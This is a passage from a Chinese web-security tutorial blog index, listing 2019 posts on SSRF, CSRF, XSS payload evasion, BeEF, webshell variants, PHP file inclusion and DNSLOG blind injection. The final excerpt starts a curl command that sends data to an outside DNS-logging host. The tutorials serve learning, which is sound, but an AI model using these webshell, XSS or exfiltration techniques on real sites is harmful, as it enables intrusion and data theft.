五月 16日, 2019
SSRF原理、操作演示及防御
SSRF漏洞：SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造形成由服务端发起请求的一个安全漏...
五月 9日, 2019
CSRF原理及演示
CSRF(Crosss Site Request Forgery，跨站请求伪造)是一种网络攻击方式，也被产称为“One Click Attack”或者...
五月 8日, 2019
XSS的payload构造及变形
通常进行XSS脚本攻击时，一般网站都是有防护措施的，比如过滤掉我们script，javascript,或者长度限制等等，这时需要我们对我们的脚本进 行简单...
五月 7日, 2019
XSS漏洞利用和beef使用
安装好的kail XSS漏洞环境（这里我用的是bWAPP，百度安装即可） 首先打开我们的kail,打开我们的beef工具： q切换到/usr/s...
五月 6日, 2019
存储型xss-H5页面截取
环境准备 一个有XSS漏洞的页面，或者搭建一个漏洞平台 注册一个线上的XSS漏洞测试平台（有能力可以自己搭） 1.首先我们需要搭建一个本地的漏洞测试...
四月 28日, 2019
一句话木马及变形
一句话木马变形 介绍：网站后门，也可以叫做WebShell，黑客在入侵了一个网站后，通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件...
四月 28日, 2019
文件包含漏洞和PHP伪协议
文件包含的漏洞形成文件包含就是代码注入的典型代表，PHP的文件包含可以直接执行包含文件的代码，而且包含文件的格式是不受限制的，因此如果我们在包含文件中输...
四月 15日, 2019
DNSLOG在盲注中的使用
DNSLOG在盲注中的使用0x00 Command Execution i. *nix:12curl http://ip.port.b182oj.ceye...